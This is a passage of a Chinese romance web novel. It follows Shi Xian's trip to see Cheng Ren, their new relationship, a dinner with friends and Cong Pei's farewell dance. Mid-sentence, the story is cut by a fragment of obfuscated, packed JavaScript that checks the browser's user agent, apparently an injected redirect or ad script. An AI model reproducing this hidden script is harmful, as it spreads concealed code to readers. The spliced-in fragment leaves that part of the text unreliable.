任清芸看在眼里心疼的不行,她之前已经从程任那里听了些时献的情况,原本就心绪难宁,现下看到时献孤独脆弱的神色却又习惯性对着自己故作坚强的样子,这才更加切身地体会到了几分她这些年的变化。 从前被捧在手心里呵护的小公主,喜怒嗔笑形于色的孩子,现在只知道一个劲地替别人考虑,压制自己的情绪,到底是吃了多少苦才能变成这样。 任清芸内心酸楚难耐,只觉得当真是一别经年,诸事难料。 日暮西沉,时献站在窗边看着傍晚的天色,旧的一天马上要过去,等太阳彻底消失在地平线上,月亮会慢慢爬上天空,预示着新的一天即将到来。 所有的过往都会流于岁月长河消弭在无形中,所有的憧憬和希望也都会随着晨光破晓宣于东方之上。 没有什么过往过不去,也没有什么未来到不来,左右不过一个答案,一点心魔而已,所以时献,你这样忐忑不安像个胆小鬼一样,到底还在害怕什么呢? 时献在任清芸离开后足足在窗边站了一个小时,她将内心潜在的犹豫用力按了下去,放任自己冲动和探寻的情绪出闸。 就这么任性一次,只为了自己,她想。 于是划开手机,点进app下单,很快,付款结束。 一张由启东飞往京都的机票,显示出票成功。 奔向你 飞机落地的那刻,时献觉得心脏跳动地突然快了起来,有些后知后觉的紧张,她坐在座位上做了个深呼吸,起身出了机舱。 时献跟着人流往外走,一边走一边观望四周,其实城市的机场又有多大分别,但可能是因为没来过京都,时献总觉得和启东不太一样,说也说不上来。 出了机场,时献跟着指引牌去打车,她打开手机,翻到从郑院朋友圈截屏来的图,默记了下地址,上了出租车直奔目的地。 司机师傅是个爽快的本地人,一听时献说话就知道她是从外地来的,问她是不是过来旅游,见时献没有否认就开始热情的介绍起京都当地的旅游景点,临到前还在给她科普各个旅游地的防宰小提示,时献哭笑不得,只好一一应下了。 也不是用不到,她想,也许会在这边逗留几天呢,她笑着付了钱和师傅道别。 时献看着面前的办公楼,在楼下站了会儿,目光锁定在十五层,想象着玻璃窗后程任就坐在里面办公的样子,突然有点小期待。 电梯一路直上,她到了前台,被告知程任还在开会,问她有没有预约。 时献笑着说没有,说自己联系就好,前台的工作人员见状就将她引到接待室,全程仪态笑容满分,只是退出去关门的瞬间好奇地看了眼时献,眼里带着人类的共性---八卦。 时献给程任发了条微信,就打开电脑开始刷题。 房间里渐渐只剩点击鼠标的声音。 下午一点整,程任从会议室走出来,一边揉着酸疼的脖颈一边往办公室走,这次的项目接的有点大,吃下来虽说做完了进账很可观,但收入与付出成正比,整个公司都在超负荷运作,他也累到不行。 好在目前进度良好,情况应该算是稳住了。 程任解了西装外套的一粒扣子,揉了揉疲惫的眉心。 郑院推门而入,端进来一杯咖啡,笑嘻嘻地说:“给你现冲的,辛苦了程总。”哪里还有做人领导的威严感,还是那副吊儿郎当的样子。 程任伸手接过来喝了一口,没搭理他。 郑院一手搭在座椅扶手上,突然问他:“哎,你和小献献怎么样了到底?上次表白没答应你就没行动啦?趁热打铁啊老程,人家献献现在二十岁出头正年轻,水灵灵的一朵鲜花,人家不愁没人追的,反倒是你,比人家大那么多,再不努力点都老了。” 程任白了他一眼,放下手里的咖啡,没好气地说:“你有这心思不如在项目上多做点努力,我会很高兴,也不用跑回来这一趟耽误时间。” 郑院这就不答应了,连忙说:“哎呦这,这话听着是在怪我啊,回头献献要是不要你,你这终生大事不着落合着怪我呗,扯你后腿,误你终身?” 程任懒得和他扯皮,看了眼时间打算问时献有没有吃饭。 时献的信息就这么突然跳到了面前。 【我在你们公司的接待室,前台说你在开会,开完了看到信息记得找我啊。】 郑院只觉得眼前突然卷起了一阵风,程任像受了什么刺激一样从座位上弹起,然后从他眼前瞬间就消失了。 这?这到底是抽了什么风?郑院呆滞在原地,他别是给自己气傻了吧? 程任快步穿过办公区,公司的一众职员都好奇地看了过来,说实话,一起相处了这么些年,程任在他们眼中一直是稳重可靠的上司,公司最困难的时候也不见程任有丝毫慌乱,但眼下项目顺利,军心稳定,他们程总这慌乱急促的步伐到底是怎么回事? 程任一路疾行,从办公室到接待室不过几十米的距离,他只觉得自己速度太慢不能瞬移,但走到接待室门前又慢了下来。他努力缓了缓气,看着遮了一半的玻璃门,突然有些不敢置信。 程任慢慢推开门,时献正背对着自己,右手抓着鼠标似乎在看什么材料,左手放在桌前,背挺得笔直,像顽强生长的松柏一样,坚韧的令人心疼。 时献察觉到身后的动静,转过身来,看到程任愣了一下,他可能是赶的有点着急,有一缕碎发落下来搭在额前,眉毛微微蹙着,但不是不高兴。眼中带着焦急的神色,又隐隐透露着兴奋。 这模样,突然想到程任以前上大学时候的模样,带着罕见的稚气和可爱。时献勾起嘴角,冲他甜甜的笑了,“你来啦。” 程任没有立刻回应,而是慢慢走到她身边,眼睛眨也不眨地看着她,好像生怕下一秒时献会消失一样,缓缓地问:“你怎么,找到这的?” 时献笑得更深,语气中带着点俏皮和得意,“不问你我就不知道了吗?我总有办法找到你的。” 程任低头窃笑了一声,似乎在平复心情,重新抬起头的时候眼中带着点势在必得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时献这不争气的脸刚冷静下去,这会儿又红了起来。她靠在程任的肩上,有些贪婪地闻着他衣领上清新的木质香,只觉得内心踏实又安定。 “我没想到你会过来,真的没想过。”程任的声音似乎有些委屈。“我以为你可能要很久才会相信我。” 时献抬起头看着他,问道:“相信你什么?” 程任抿了抿嘴角,眼中有些落寞,“相信我是认真的,相信我喜欢你,不会丢下你。” 心中原本的想法被猜中,时献有些不好意思,但这都不重要了,重要的是现在的她已经做出了决定。 “清姨都告诉我了,我……,总之,之前是我太笨,你别放在心上呀。”时献抓着他的手摇了摇,不知道到底是在讨好还是在撒娇,眼中含着笑意,看得程任内心柔软的一塌糊涂。 程任一手抱着她的背,一手摸着她的后脑勺,揽着时献抱了又抱。 “要不叫客房服务送餐上来吧,我们不下去了。” 时献低低地笑了起来,纵容着他的耍赖,“好啊。” 相聚的意外 程任看了眼来电显示,划开接了,“什么事?” 郑院在电话那头喊得起劲,嗓门大到听得程任头疼,“晚上带献献出来呗,你们腻歪一个下午了也总该带出来见见吧,好歹也是看着她长大的,好容易来了趟京都,这不尽尽地主之谊说不过去啊。” “我问问她。” 时献冲程任做了个口型,“怎么了?” “郑院说想晚上一起吃饭,叫上大家一起,去吗?都是你认识的。”程任捏了捏时献的手指,低声温柔地问她。 时献略一思索,很快就答应了。 “我们去,地址你发我。”说完就挂了,没给郑院留废话的时间。 另一边的郑院一脸茫然地看了眼手机,猝不及防挂断的盲音正从里面传出来,好像在嘲笑他。 “靠!” 晚上六点,程任带着时献进了约定的餐厅包间,一路牵着手也不肯放,直到进门的前一刻,时献终于有点忍不住了,试图把手抽出来,但程任没给她这个机会。 包间门被拉开,程任将时献推到座位上,自己坐在她旁边。 “呦这是什么情况啊,这小手牵的,欺负我们都是单身狗啊。”郑院从俩人进门就开始调侃,说的时献脸臊红。程任见时献脸皮薄,忍不住怼了回去,“不是你们,是你,只有你是单身狗。” 郑院气的手都发抖,指着程任说:“老程你刚脱单就这么对我,咱们这么多年荣辱与共,你!你没有心!” 时献听了不解地问:“还有谁来吗?” 程任一边给她盛汤一边回道:“陆添一会儿过来。”说完又顿了一下,继续道:“他会带个人一起过来。” 时献这就好奇了,“陆添哥交女朋友啦?我还没见过呢,是什么样的女孩子啊?” 程任抿了抿嘴角,似乎在纠结该怎么说,将汤碗放到她面前,“一会见到你就知道了,你认识。” “我认识?我怎么会认识?” 郑院轻咳了一声,适时打了圆场,“哎那个,献献啊,一会儿你就知道了,这个事儿吧,还是你自己看比较好,因为它,它稍微有那么点复杂。” 话刚落音包间门再一次被推开,陆添的声音一拥而入。 “路上有点堵,我们没迟到吧?” 时献回头去看,只见陆添穿着一件深色外套,额前的碎发全数被撩到两侧,露出了整张脸,一双眼睛还和以前一样明亮傲气,只是多了些柔情,少了点冷淡,整体看起来周身气质确实和以前大不相同了。 然后就是站在他身侧的一个略显羞涩的男生了,身高上比陆添稍微矮了一点,身量略清瘦但不算消瘦,穿着白色衬衫和牛仔裤,整个一青葱鲜嫩的大学生。 等等,怎么这么眼熟? 时献发出惊叹,“夏,夏藤?” 夏藤从陆添身侧探出头,冲时献不好意思地笑了一下,“你好啊,时献,好久不见。” 时献一时忘了打招呼,呆滞在原地,程任一手扶了扶她的背,才将她从震惊的思绪中拉了回来。 “你好,夏藤。” 陆添对着时献颔首,转头对着夏藤示意时献的方向,温柔地说:“去那边坐吧,你们可以聊聊。” 夏藤弯了眼,开心的说:“好啊。” 夏藤越过程任,走到时献另一侧坐下,见时献一脸好奇,开始自曝起来。 “你很惊讶吧,其实我们在一起很久了,不过这些年一直没有你的消息,就没法告诉你,昨天郑院打电话给阿添说你回来了,我就想,一定要过来见见你。” 时献喝了程任递过来的水,稍微缓了下心情,想起以前的事,心里那点过往的疑问就突然冒了出来,她往夏藤那边靠了靠,低声问道:“所以,高一那年在欢乐谷,你们那时候就?” 夏藤突然笑了起来,微红了脸说:“没有呢,那时候我们还都不太懂事,吵了很多次也没弄明白,哎其实主要是我不明白了,总之,中间误会了很久,也是后来分开了挺长一段时间才决定在一起的。” “不过,我们分开的时间没你们长就是了。”这话说到俩人的伤心处,时献低下头,眼里染了点难过的神色,程任坐在一旁,突然伸出手,覆在了她的手背上。 陆添递给夏藤一个眼神,示意他注意措辞,夏藤反应过来,不好意思地道了个歉。 郑院见气氛有些凝重,连忙说了几句话破了当下的氛围。时献本也无意难过,大方的顺着郑院的话题聊开了。 夏藤歉意难当,东拉西扯的和时献说了好一会儿自己和陆添的事,听得时献那叫一个新奇和震惊,忍不住一再感叹。 难怪,难怪那时候程任一直跟自己说陆添不会欺负夏藤,现在看来人家根本是两口子自己闹着玩儿,自己年少不懂事瞎操个什么心啊。 “对了,这些年我没少听你和程总的故事,一直想着你们能有个好结果,现在心愿成真啦,你们真的在一起了,我特别为你们感到开心。”夏藤说的隐隐有些激动,看了看程任又看了看时献,一脸磕cp磕到真的样子,时献哭笑不得,心想说我才是磕到真的了。 陆添往夏藤碗里夹了些菜,有些不满道,“时间还早,不着急,边吃边聊。” 夏藤偏头冲陆添笑了一下,听话的低头吃起了东西。 程任拿起时献的空碗,又往里盛了一份汤。 郑院看了看两边相同温情款款的画面,又低头看了眼自己空荡荡的碗碟,心里顿时生起一股怨气。 凭什么!凭什么就他是单身狗!他也要恋爱! 他也要可人疼的小对象!他要往死里宠! 夹菜盛汤算什么!他要喂!对!嘴对嘴喂! 气死人了。 一顿饭前后吃了将近两个小时才散场,告别的时候夏藤还有些依依不舍,直到陆添拽了他的后领才将人带走了。 餐厅离得近,程任没开车,两人牵着手缓步走在回酒店的路上。时献不知道想到了什么,想得笑出声来。 “什么事这么好笑?也不说出来一起听。”程任将她的手往身前一带,两人之间的距离就近了点。 时献有些不满道:“你也太能瞒了,这么大的事以前也不告诉我,害我还担心好久。” 程任看着时献说,“好歹他以前是你同学,还喜欢过你,被陆添撬走算怎么回事。你高一那年在欢乐谷见到他俩的那次,他们还没在一起,是陆添死缠着人家,气的陆家老爷子差点给他腿打断,我和郑院那时候担心他性情没定只是闹着玩,又受了老爷子嘱咐做他工作呢,也不知道怎么跟你说,毕竟你那时候还太小了。” 程任又想了想,嘴角噙着一点笑,“不过,也要感谢他,不然我就多了一个情敌。现在这样大家不是都挺好的吗?” 时献笑着点头表示赞同,想了想晚上的窘态忍不住说:“哎对了,那夏藤怎么突然对我们的事这么好奇?晚上抓着我一个劲的问,我都不知道说什么。” 程任停了下来,微不可见的摇了摇头,“这你就不知道了吧?这叫夫人外交。” 时献:………… 俩人不紧不慢地往回走着,时献突然扯住程任的胳膊,兴奋地说:“要不,我们也帮帮庄总吧。” 程任被她跳跃的思路带得没反应过来,蹙着眉问:“庄亦?他怎么了?” 时献拍了下他的胳膊,着急地说:“丛珮姐啊,他们两明明对对方有感情,但是一直没有解开心结在一起,我们帮帮他们吧。” 程任叹了口气,宠溺地看着时献,无奈地说:“这种事只能自己理清楚,外人插不了手的。” 时献有些不认同,嘟囔着那也不见得。程任见她坚持,想了想,“你要是真那么想撮合人,不如帮郑院多物色物色,省的他天天在我耳边吵着自己是个单身狗。” 时献忍不住笑出声,“对哦,我怎么把郑院哥给忘了,他这么好的脾气,不能老这么可怜,我们不能欺负他。” 程任伸手帮她将脸颊旁边的碎发别到耳后,笑着回道:“嗯,我们不能欺负单身狗。” 夜色如水,夜晚的街头霓虹闪烁,照的人心头亮堂堂的。时献被程任牵着手慢悠悠地往前走着,一路闹腾地说个不停,程任在一旁不时给出回应。 “我们就帮帮丛珮姐和庄总嘛。” “怎么帮?” “回启东后组个饭局,或者,休息日安排个短途旅游什么的。” “庄亦没空,丛珮也在外地忙巡演。” “那要不我去找庄总谈谈?” “那更不行了。” “为什么不行?” “你要谈也是找丛珮谈,庄亦是你领导,你找他谈什么。” “那你去找他说。” “…………” 甜糖 时献在酒店待了几天,白天程任去上班,她自己在酒店看书刷题,到了晚上程任下班回来后陪她吃完饭,再将她揽在怀里说话。 时献还不是太习惯这种关系的转变,常常被搂着搂着就红了脸,反观程任倒是一脸自然。这白天上班晚上回去抱着小女朋友的日子过得是蜜里调油,滋润得整个人气色一天比一天好,连带着对公司里的人笑容都多了起来,看得郑院嫉妒的磨牙。 说实话,人倒不见得一定会怕孤单,也不怕成为单身狗,但就怕身边的人都有人陪着,就自己落单。郑院思来想去,决定让人给自己多组几个相亲局,这大好单身青年相聚一堂,就凭他这盘顺条靓的模样,还就不信脱不了单! ……………… 假期临近结束,时献打算收拾东西回启东,收纳的时候,看到程任正站在阳台边和人通着电话,眉目严肃似乎在沟通公事,时献往行李箱里放衣服的时候偏头刚好看得到程任挺拔的身影,就忍不住多看了下。 男朋友真好看,然后又看了一下。 时献看了几眼就收回目光低下头继续整理,默默在心里吐槽了一下自己的不争气。 行李就这么在程任的通话声中渐渐收好了,时献盖上行李箱,伸手去拉拉链,后背猝不及防被人揽进温暖的怀抱里。 程任的唇贴在她的后颈处,呼吸声在耳边十分明显,一股股热气喷在上面,有点痒,时献忍不住往旁边缩了缩,刚退开一点就被程任拦在胸前的手臂往回拉,贴的更紧了。 “嗯~痒。”时献忍不住叫出声。 程任的臂膀收紧了些,声音有点不高兴的情绪在里面,“明天的机票都订好了?” “嗯,你不是问过了嘛?怎么还问。” 程任偏头亲了亲她的后颈,叹了口气,“不想你走,我暂时还不能陪你回去。” 怎么有点像耍赖的小孩,时献忍不住笑着说:“我总要回去上班的,也不能在这一直陪着你啊,你好好工作啦,项目不是快忙完了吗?” 程任将下巴靠在她的肩膀上,闷闷地“嗯”了一声,“最快也要下周才能回,我会尽快处理完这边的事,早点回去陪你。” 时献覆着他的手背揉了揉,宽慰地说:“也不着急啊,我回去应该也要忙起来了,你别太赶进度了,身体吃不消,毕竟……”时献突然停顿了下。 程任侧脸看着她,问道:“毕竟什么?” 时献抿着嘴,偷笑了会儿说:“毕竟你今年都三十一岁了,不是十八岁的少年,熬不得夜,会老的很快。” 程任微眯了眼抬起头,直起身放开了她一点,伸手一转,就将时献转了个方向面对着自己。 “现在就嫌我年纪大了?”时献从声音里听出点危险感,忍不住往后挪了挪。 “没有,不嫌弃,我就是说一个事实,嗯……上了年纪的人就是要好好养身体的,代谢会随着年龄增长而减速,这个你是知道的……” 时献在程任的注视下声音越来越小,还没说完就被程任伸手捏住自己的脸。 “唔……捏,捏坏了。” 时献的脸白皙又滑嫩,手感非常好,程任假意生气道:“当年见我年轻的时候说多喜欢我啊,现在到手了就嫌我年纪大了?” 时献哭笑不得,连忙求饶:“没有,我,我不嫌弃你,我,我喜欢的。” 程任依旧不依不饶,“你说什么?我没听清。” “我说,我,我喜欢的。” 程任忍着笑意,故意问:“喜欢谁?” 时献双手抬起做投降状,十分没骨气地表白,“喜欢你!我最喜欢你!” 程任这才肯放开,伸手在她脸上轻轻揉了揉,其实也没使力,但时献脸皮薄,肤色又白,稍微捏一下就泛着红,刚才慌乱之下表白了一通现在反应过来,眼里都是害羞的神色。 时献垂着眼睑正不好意思,脸颊两侧一片绯红,看起来十分可口。也不知道是不是最近养的比较好,整个人看起来水灵灵的。 程任看得发愣,渐渐地就有些挪不开眼。 好想吻她,他的脑海里突然存了这样的念头,难以挥去的,也不想挥去的念头。 程任一手揽住她的腰,一手抚上她的后颈,时献刚有些诧异抬起头,就看到程任的脸贴了过来。 然后唇上有了温暖的触感,程任身上独特的木质香更加明显,充斥在她的鼻翼间。 时献感觉到脑中似乎发出了“叮”的一声,有什么东西突然崩塌又迅速重建,浑身酥麻到失去反应能力。 他也没有做更过的举动,似乎是顾虑到时献的接受程度,就这么贴在她的唇上贴了片刻,后来微微分开,在红润的唇上亲了亲,最后移到唇角处又亲了一下,这才依依不舍的分开。 两人的呼吸交叠,气息都有点紊乱,程任将头抵着她的额头,闭着眼睛说:“今天先这样,下次,就没这么容易了。” 时献的脸早就红透了,双目含情,微微带着点水气,听完这话连耳朵都红了起来,当下也不知道该做什么反应,只呆呆地“嗯”了一声,软绵绵的,像只小羔羊。 程任突然伸出手摸了摸她的耳垂,低声笑着说:“怎么这么容易害羞?” 时献哪里还能回话,将头埋进程任怀里,双手抱住他的腰,企图作逃避状,拒绝和他说话。 程任对她这种难得投还送抱的行为表示十分满意,眼中笑意更深,不再为难,双手托着背将她抱的更紧。 丛珮的清明雨 时献刚到启东就被通知隔天回公司复工,她略作修整就立刻全身心投入到工作当中去了。 时间过的飞快,眨眼间一周就过去了。 这天时献刚下班,就收到丛珮寄来的快件,拆看才发现是两张巡演门票,看了下时间,正好在这周六下午,地点在启东影剧院。时献连忙给丛珮发去信息表示感谢,她原本就想买启东这场巡演,奈何网上的票实在抢手,黄牛手上的座位不好,价格还高到惊人,本来都打算放弃了,没想到丛珮直接送上两张连座票,还是亲友席,简直让她受宠若惊。 发出没一会儿就收到回复。 【记得空出时间来参加,这次启东场有点特别,我会跳清明雨。】 时献惊喜到无以复加,丛珮要跳成名舞《清明雨》!这可是自出道以来再没在公开场合跳过,时献原本想问缘由,但转念一想,《清明雨》包含的情绪复杂多变,爱恨缠绵,如今重新跳于人前相比和庄亦多少有些关系。 时献欣然答应当天一定到场,顺便表达了自己强烈的期待。 “你想让我陪你一起去看?”程任在电话那头问道。 时献曲起腿,拿起身旁的靠枕抱在胸前,“嗯,你能回来那肯定最好,但是如果来不及……就,就算了。” 说到后面明显情绪低沉了下来,程任被她的小心思可爱到,轻笑了下,“不会来不及,这边事情差不多结束了,周五就能回,到时候接你下班。” 时献眼中亮了一下,眼睛弯成一道弧度,开心地倒在床上,抱着手机说:“好啊。” 想了想又问:“你说,庄总会去吗?” 程任在电话那头沉默了两秒,有些迟疑道:“不好说,应该会去,他最近情绪似乎有些不稳定。” “我也感觉到了,虽然公司最近都没什么问题,但总觉得他有点心不在焉的,你说会不会是为了丛珮姐的事?”时献突然想到什么似的,脑中灵光一闪,有些激动道:“是不是因为《清明雨》重新被搬到荧幕前?” “庄总和你说过这个吗?《清明雨》是不是为他跳的?” 程任“嗯”了一声,“庄亦很少和我聊这些,很早之前有一次他突然跟我提过,说观众都不知道丛珮为什么不再跳《清明雨》了,只有他知道,如果下一次丛珮再跳,就是在和他彻底告别。” 时献挂完电话后内心久久不能平静,她认识丛珮不算太久,虽然说不上多熟,但还是有些了解她的。丛珮生性骄傲,对任何事都不会太上心,却唯独在感情上一头扎进去难以自拔,可这份感情经过这么多年的消耗早就疲惫不堪,她对庄亦,争取过,也纠缠过,到最后用这种方式来作最后告别或许是维护自己尊严的唯一方式。 时献只零星地听丛珮说过俩人之间的事,但都不完整,大多时候都是倾听丛珮情绪的发泄。 时献想起后来在公司里听到的众多流言,如果传言是真,那么这些年庄亦宁愿孑然一身也不愿意和丛珮在一起或许有了些合理的解释。 传闻说庄亦的家族在启东盘踞多年,家族里关系盘根错杂,牵扯众多,他母亲早些年受家族关系纠纷所累,间接出了意外离世。而庄亦的父亲在妻子死后很快就有了续任,夫妻间多年的恩爱感情好似一场逢场作戏的笑话。 母亲过世后,庄老爷子依然过得现世安好,第二任妻子给他生了个女儿就再无所出,眼下一家人过得面上和和睦睦相亲相爱,只庄亦一人全心打理着公司,忙到无暇顾及其他,渐渐活成了庄老爷子年轻时候的样子。 时献想了想丛珮的模样,想到她在舞台上恣意起舞的样子,畅快地飞翔在自己的那片广阔无垠的天地里,无人可左右她的人生,当真活的自我又精彩。 可如果被卷进庄亦的世界里,不知道还会不会像现在这样不受外物牵绊。 周六的巡演如期开场,时献和程任按时进场,因为是亲友席所以可以入后台参观。时献迫不及待地进入后台寻找丛珮的身影,一路走的飞快,程任跟的紧凑也差点被人群挤散,无奈地摇头快步追上。 丛珮是主舞,也是舞蹈团最重要的舞者,自己拥有独立的化妆间,时献被人指引带进来的时候丛珮正在做最后的定妆。 她穿着一身红衣,布料因为材质原因在灯光下熠熠生辉,时献走近看了上面却没有任何花纹,只是一身裁剪讲究的红色长裙。 丛珮的头发也没有多余的修饰,如墨的长发去了原有的大卷改为柔顺的直发垂在后背,额前没有留碎发,只在头顶绑了一条鲜红的发带简单做了个编织造型就随意地垂在了发间。 丛珮从化妆镜里看到时献,回头冲她笑得妩媚动人,时献这才注意到她今天的妆容看起来十分清透,眼妆尤为特别,做了水滴处理,犹如眼中含泪倾泄而出的模样。 时献呼吸一窒,被美到几近失语,她从来知道丛珮好看,但这种浓重的舞台装扮又将丛珮的美外扩了几分,整个人美到张扬四溢。 “怎么了这是?看你这模样,是不是被姐姐迷到了?”丛珮笑着问她。 时献连忙递上花,十分坦诚道:“是,今天丛珮姐最好看了。” 丛珮看了眼时献身后的程任,开玩笑地说:“你可得看紧点,不然回头我就把你家时献给拐跑了。” 程任轻笑一声,一手揽上时献的肩膀,大方地回:“随便拐,她跑不掉。” 丛珮啧啧了两声,直说没眼看,收下花就没再说什么,从时献身上收回目光的时候下意识余光看了眼门外,没看到想见的人神色就黯淡了两分,时献敏锐地捕捉到了这细微的表情变化。 丛珮将花交给助理,嘱咐她一会结束后放回车上要带回公寓去。 “你们回观众席吧,马上要开场了。” 时献点点头,想了想往前凑了凑,靠到丛珮的耳边低声说:“丛珮姐,你做什么决定我都支持你,今天享受这场舞蹈本身就好。” 今天是丛珮的巡演,她自然全程主舞,但时献没有点出哪一场,丛珮却知道指的是什么。 丛珮眼中有一丝讶异的情绪闪过,随后消失不见,伸手在时献的脸上摸了摸,温柔地说:“知道了,别担心。” 幕布拉起,伴随着音乐响起,时献跟着丛珮的舞蹈不停地转换情绪,中间换场休息的时候她忍不住看了看旁边空着的嘉宾席,庄亦还是没有来。 终于到了万众瞩目的《清明雨》,时献将全部的注意力都放到舞台上,不再分心其他。 场景被切换成浅墨蓝的冷色调,舞台做了真实的雨幕设计,主舞区地上还有积水处理,干冰开始挥发,整个舞台看起来如同烟雨纷纷的江南,笼罩在一层潮湿的雾气中。 前奏开始,是一阵略显轻快的音律,时献辨别不出是什么乐器,只觉得异常好听,听的人心头欢喜。 丛珮撑着一把泼墨油纸伞自舞台一侧出场,明艳的红色在清冷的舞台色调里显得格外惹眼,她犹如一个意外闯进的身影,误打误撞在其中游荡、玩耍、探寻,上半场是轻松且略显欢快的。 气氛陡然转变,干冰营造的烟雾场景消失,只剩雨滴从天而降,丛珮丢了油纸伞,像只受了惊吓的蝴蝶仓皇不安地四处逃避、流窜,但却发现自己逃不出这方天地。 她的红衣此时也不再彰显快乐,相反,因为颜色过分鲜艳和现有的环境对比出格格不入的矛盾,她的动作开始大开大合,激烈地表达着情绪,似乎想要打破现有环境挣脱而出。 她随着音乐的节奏逐渐加快动作也随之递进加速,时献被这焦急的情绪揪住了整颗心,蹙着眉跟着丛珮的节奏在场景里来回痛苦。 程任察觉到了她的不安,握紧了她冰凉的手,想叫住她却没忍心打破她的状态。 丛珮随着音乐节奏不停旋转,越转越快,越转越快,好像有什么情绪要破土而出一样。 就在这时,音乐声突然戛然而止。 丛珮犹如断了线的风筝一般失去了所有的生机,轰然倒地。 台下的观众发出了惊叹,一时辨不出是表演还是真实。 地上的积水被溅起,雨还在下,整个场地只剩逼真模拟的雨声越来越大。 幕布渐渐落下,丛珮依旧躺在那方积水里,她的长发被雨水打湿散在四周,直到幕布将她彻底覆盖前她还是毫无生机地躺在那,像彻底睡着了一样。 表演结束,全场起立,爆发出雷鸣般的掌声。最后一场收官巡演无疑十分成功。 时献早已经泪流满面,她想她全部懂了。 为什么丛珮不肯再跳《清明雨》,因为她表达的是对庄亦的所有爱恋,前半部分的轻快和喜悦是这段爱恋的初见和美好,尽管她和庄亦的世界格格不入,但依然闯了进来。到了后半段却发现自己和庄亦是截然不同的两个个体,他们无法融入到彼此的世界里,于是纠缠、痛苦,想要挣脱出这段感情却发现自己无处可去。 她用自己全部的力量去拥抱这段感情,爱到尽头了,自己也被消耗殆尽了。 她要放弃了。 她在告别。 程任坐在一旁不停的抚着她的背,试图让她从场景里缓过来,但时献明显还走不出来,哭到不能自抑,他只能一边宽慰一边给她擦眼泪。 众人开始退场,耳边传来观众热烈地讨论声,程任陪着时献在旁边坐了好一会儿,时献才慢慢从刚才的情绪里缓了过来。 程任察觉到身后的目光,只见观众厅最旁边的角落里,有一个熟悉的身影站在那里一动不动,眼中似有巨恸。 程任叹了口气,冲他点了点头,示意他去后台。 庄亦顿了片刻,深深地看了舞台一眼,转身离开了。 5. 转机 “所以他来了,但是没去后台,对吗?”时献一边系上安全带一边问,情绪仍旧不高,还在惦记刚才的舞台。 程任没着急启动车,看着时献说:“献献,有些事我们决定不了,你要明白。” 时献低下头,有点失落地说:“我知道,我就是……替她难过。” 程任沉默了会儿,似乎明白了她在难过什么,摸了摸她的脸颊,轻声问:“是不是想到自己了?” 时献点头,她这么沉浸其中,除了心疼丛珮之外,还有个容易过分代入的心理就是她其实下意识总想到自己和程任,他们白白蹉跎了五年差一点错过。但他们比较幸运,分离后还能再次重逢并且解开心结在一起。 但他们的幸运多半靠的是程任后来的努力,是程任的坚定才把她从怯懦和逃避中拽了出来。 可丛珮和庄亦不一样,他们兜兜转转这么多年,虽然没有完全分开过,但总也没有真的纠缠到一起去过。 程任拨了拨她额边的碎发,哄着她说:“好了,我找个时间去找庄亦聊聊,感情这种事想走的长久,只考虑两个人是不行的,庄亦的家庭复杂,他的顾虑我明白,如果不能全然有把握,他不会轻易将丛珮拉到自己的世界里去。” 时献稍稍释然了些,过了会儿,点头表示没事。 程任在她额前轻轻落下一吻,末了又轻吻了下她的发间,“不用担心,我们已经和好了,不会再分开。” 时献微侧了身将头靠了过去,额头在他怀里蹭了蹭,神色有些许的放松,叹息道:“我知道。” 转眼间又是一年八月,启东的盛夏依旧高温不断,街面的梧桐树被炙烤散发出浓重的生涩草木气息,不过早上七点半,外面就有着肉眼可见的滚滚热浪,时献早上从楼道出来,只觉得快要被迎面扑来的热气灼伤。 关上车门,车内的空调已经将温度降了下来,时献松了口气,“太热了,这才早上啊。” 程任将纸巾盒放到她面前,示意她擦擦汗,时献抽出一张擦了擦脖颈,将近四十度的高温,就是她这种偏冷体质也几乎汗如雨下。 刚坐稳,手机就振动起来,时献一手扣上安全带,一手在包里翻出手机,看了眼来电显示皱了皱眉,迟疑了一下就接了起来,“喂爸,怎么了?这个点给我打电话?” 时中伟的声音听起来比之前精神了不少,语气中带着轻快道:“也没什么事,就是打电话问问你最近过的怎么样?这个点要去上班了吗?” 时献被这突如其来的关怀打了个措手不及,只温吞地回了句:“嗯,准备去公司了。” 时中伟又嘱咐了几句,时献一一听了应下来,临挂电话前时中伟突然叫了她一声。 时献觉得他今天有点怪,连忙问他怎么了,只见时中伟顿了两秒说:“爸刚刚往你卡里转了点钱,倒不是太多,就是最近的工程有了点起色,给了第一笔分成,先给你这点拿去用,生活上别太亏待自己。” “啊,还有。”他继续说:“我把剩下的钱打回去了,你暂时都不用担心家里没钱用,你妈那边医院里的账户上钱还是够的。” 说完就挂了电话,时献抓着手机呆滞了一会儿,程任察觉到她的异常,问她怎么了,时献没有立刻回应,她在最近收到的短信里翻到银行提醒,眼睛突然就有点酸涩。 她偏头看着程任,有些不知所措道:“我爸,给我转了2万块钱。” 时献捧着手机也不知道放下,就这么呆呆地看着手机。 她这些年扛起家里的重担不敢忘记片刻,早就忘了过去优渥的生活,粗茶淡饭是习以为常的状态。时中伟经历了那年的巨变后消极混沌了两年,等清醒后就开始疲于奔波生活的琐碎,他们这对从前亲昵无间的父女变得越来越缺乏沟通,而时献一朝成为大人就永远地被忽视了她还需要父母的关怀呵护,连她自己都忘了自己内心深处的渴望。 时中伟今天突如其来的关心和疼爱让她一时反应不过来,等真的消化了这件事大脑的第一反应不是开心而是惶恐。 惶恐家里的情况是不是真的在慢慢转好,惶恐她突然也拥有了被父母宠爱的权利。 他们还把她当成孩子。 程任心疼地看着她,将她手里还握着的手机抽出来放到一边,“他们很爱你,你要相信这点,你不是一个人了。” “都过去了,献献,一切都会好起来,你不要害怕。” 窗外的烈日依旧灼人,但在高温炙烤下所有的情绪都无所遁形,坦白至面前。 时献坐在平稳行驶的车里一路都在想,今年她的运气似乎好到有些不可思议了,那她能不能再贪心一点,做个奢望。 希望,所有的困难都过去,希望一切都朝着好的方向发展,希望顺利。 转弯行过一处梧桐密布的小道,光线从树叶缝隙中穿透而下,落在车前玻璃上有斑驳的光影。时献伸出手掌,看着光晕在掌心移动跳跃,五指忍不住向内弯曲,似乎想要将梧桐的浮动光影握在手心。 “在想什么这么开心?”程任放缓了车速问她。 时献侧目冲他莞尔一笑,声音有些清甜,她说:“我在想,我是真的很喜欢这个夏天。” 中秋之夜 